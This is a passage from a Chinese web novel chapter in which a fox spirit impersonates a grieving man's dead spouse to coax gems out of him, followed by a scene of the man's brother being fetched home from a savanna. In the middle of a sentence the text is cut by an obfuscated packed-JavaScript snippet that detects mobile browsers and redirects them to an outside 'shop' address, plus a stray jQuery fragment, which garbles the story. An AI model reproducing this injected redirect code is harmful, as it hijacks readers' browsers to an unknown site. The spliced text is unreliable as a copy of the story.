“小戎,你别这样。”项毓文心疼不已,“崽儿还需要人照顾呢。” “我没事儿,妈。”靳戎走到项毓文身边拍拍她的肩,“我只是需要多一些时间。” 靳戎像鬼魂一下飘了出去,薛秘书忙跟了上去。 “我怎么看二少爷不太对劲呢?”赵秘书小声对靳川林说。 “我们家的人都是情种,他要是没事儿人一样才可怕呢。”靳川林虽然“跋扈”,但也体谅儿子,毕竟他还有一个儿子。 “项琛呢,有消息了没?” “说是在大草原上追狮子,可自由了呢。” “呵。”靳川林轻嗤一声,“他的自由到头了。” “好的,我这就让人去找大少爷。”赵秘书立刻联系保镖,然后让秘书办的人订了八张机票。 * 狐久趴在二楼的阳台上,看着靳戎和薛秘书离开,两个小时后,车子驶回来,靳戎下车时,手里多了两个熟悉的大袋子。 是灵气的味道。 狐久立刻兴奋。 项毓文正在小崽儿的卧室里陪小崽儿玩,门关着,他不能直接过去打开门走出去,于是便悄悄碰了碰小崽儿,小崽儿心领神会。 “奶奶,宝宝去看看靳戎哦。” “去吧。”项毓文心疼地摸摸崽儿的脑袋,“好好陪陪你爸爸。”现在只有小崽儿能安抚他了。 小崽儿便拖出他的篮子往外走,狐久悄摸摸跳了进去。 小崽儿出了房间,靳戎也刚到卧室门口,打开门时,狐久便顺势钻了进去。 狐久趁靳戎不注意一个起跳跳到了顶灯上面。 他早就看好这个位置了。 靳戎卧室的顶灯是树叶形状的,有六片叶子堆叠在一起,叶子上有弧度,正好能完美隐藏他的身形,还能居高临下将一切尽收眼底。 “靳戎,你房间里好黑哦。” 卧室里厚厚的遮光窗帘一丝缝隙都没有,灯也没开,只点了几根蜡烛,小崽儿站在门口看了看,有些害怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17685555|206781||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 。 “我走了哦,靳戎。”小崽儿转身就跑,“奶奶,快开门,宝宝回来了。” 机灵的小崽儿,跟他爸一个样。 如果他爸还活着…… 靳戎关上门,半跪在床边将带回来的珠宝首饰一一打开摆在床上:“你要的宝石,我买回来了。” “很多名贵的珠宝需要预定,今天太匆忙,但我已经订好了,明天就能送过来。” “过几天有场拍卖会,你看看图录上有没有喜欢的,我给你拍。” “胡硕,你在吗?” 坐在顶灯上的狐久已经看呆了。 哇塞,好浓厚的灵气。 果然是老婆才能有的待遇,他不配。 他之前为了那点儿灵气差点儿就穿裙子给他跳舞了,现如今只需要开口说句话,就能得到一床的珠宝。 只要好好把握住这个机会,化成人形就不再是奢望。 等他化成人形后,他就可以去骗男人……找供养者了…… 狐久想美了,这百年来他可是日日都想着化成人形享受人间呢。 当然他也不是白拿这些东西,他装某狐前辈也是为了帮这个男人走出抑郁,互帮互助嘛,他们仙山的灵狐向来善良。 “我,我在呢。”狐久学某狐前辈那样夹起嗓子,像吗? 靳戎猛地起身,环顾四周:“你在哪儿?” 看来是像。 “我,我死了。”狐久说。 “你真的……死了?”亲口听胡硕说出这几个字,靳戎心都快痛死了。 “对不起,都是我的错。” “没事儿,我在这边过的也还行。”狐久开始胡编乱造,“虽然穷点儿,但我不怪你。” 胡硕在那边儿过得很穷。 靳戎撕心裂肺,捂着胸口跪在地上,牙齿死死咬着下唇,脊背弓起,呼吸急促:“我过去陪你好不好?” “别别别别别……你先别死。”狐久被他这副模样快吓死了,本来人没想死,只是抑郁,别让自己给说死了。 “我兴许也还能活。”狐久口不择言。 “怎么活?”靳戎倏然抬头,望着黑暗,“你说,只要你能活,无论什么代价我都答应,把我的命给你都行。” “你你你,你先别急。”狐久有些结巴,脑子里像是有两条腿一样飞快倒腾着,“不用你的命,我去仙山求子的时候,仙山上的仙人说宝石吸收天地之灵气,只要有足够的宝石,四散的魂魄就可以聚在一起化成人形。”他太厉害了,真能编啊。 “你在后院给我立个坟,把宝石都埋在里面,让我先有个家,我在这边还没房子呢。”越编越顺畅。 “好,我都答应你,我立刻让人去办。” “谢谢老公嗯嗯嗯~”附送一个大礼包,练了半天呢。 靳戎听着这熟悉的撒娇声音,确实是胡硕,只有他才能发出这种声音。 * F国大草原。 【你弟病了,速归。】 项琛哼笑一声,老靳现在越来越没有新意了,以前用心脏病恐吓他,现如今又用他弟来吓他。 他弟能有什么病? 天天健身房练着,一年两次体检检着,他能有病? 老靳肯定是被可爱的孙子给收买了,所以来骗他回去的。 他弟现在有了亲儿子,就应该在公司当牛做马给儿子攒家业,有了孩子还想要自由? 不可能。 自由只能属于他。 项琛拿着相机在自由里随风转动。 看看这天,这地,这旷野,这大狮子,这大长颈鹿,这大……大汉? 俩大汉? 仨大汉,四个,五个…… 项琛放下相机,有些眼熟。 项琛转身就跑。 六七八大汉挡住了他的退路。 “项总,这是您的任命书。”大汉将手机怼到他眼前,“请看。” “什么任命书?”项琛眯眼。 “您现在已经被任命为集团总经理,靳董让您立刻回国上任。” “疯了吧。”项琛震惊,“我弟呢?” “靳总忙着搞土木工程,所以已经暂时辞去集团总经理的职务。” “土木工程?什么玩意儿?” “给他爱人建坟。”